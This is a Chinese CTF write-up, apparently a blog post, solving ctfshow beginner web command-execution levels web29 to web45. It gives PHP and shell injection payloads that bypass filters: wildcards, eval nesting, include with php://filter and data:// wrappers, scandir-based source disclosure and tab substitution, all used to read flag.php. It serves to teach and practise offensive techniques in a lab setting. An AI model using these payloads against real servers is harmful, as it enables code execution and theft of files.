ctfshow web入门 命令执行

web29

查看目录

由于flag被过滤,可以使用通配符进行绕过,查看flag.php

c=system("nl fla?????");

web30

在上一道题的基础上多了system和php

运用反引号查看目录 并查看flag.php(flag php被过滤 运用通配符)

web31

又加上了点、单引号和空格被过滤。我们可以通过shell中eval命令进行变量嵌套替换

c=eval($_GET[1]);&1=echo `nl flag.php `;

web32

过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web 33

多过滤了一个双引号,用require函数

c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web 34  35

与上面类似  只是多过滤了符号

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

相比较增加了  过滤数字

将include的参数1改成字母,include的无括号包含可以不用空格

payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤

data伪协议命令执行:data:text/plain,<php代码; ?>

构造

payload:?c=data:text/plain; <?php system($_POST[1]);?>   POST: 1=tac flag.php

利用POST提交的参数1进行逃逸绕过正则

 

web38

 相比于web37  多过滤了php和 file使用data协议不过是base64编码或者用<?= ?>来代替php

?c=data://text/palin,<?=system('cat fla?.???');?>

web39

同上一题

web40

 

过滤了好多符号

看题解

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

 只过滤了中文括号 没有过滤英文括号

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))));

web42

 

题解

/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞

c=tac flag.php;

    1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
    2:/dev/null 代表空设备文件
    3:2> 表示stderr标准错误
    4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
    5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
    因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

?c=tac flag.php;ls
;前面的被执行了返回结果,后面的执行了被放入/dev/null中

web43

 

在这基础上又过滤了; cat

c=cp flag.php 1.txt||
c=nl flag.php||
c=tac flag.php||

web44

 

c=tac fl*.php||
c=cp fl*.php 1.txt||

web45

 

 

题解
%09是Tab的url编码
payload:

c=tac%09fl*.php||
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你怎么睡得着的!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值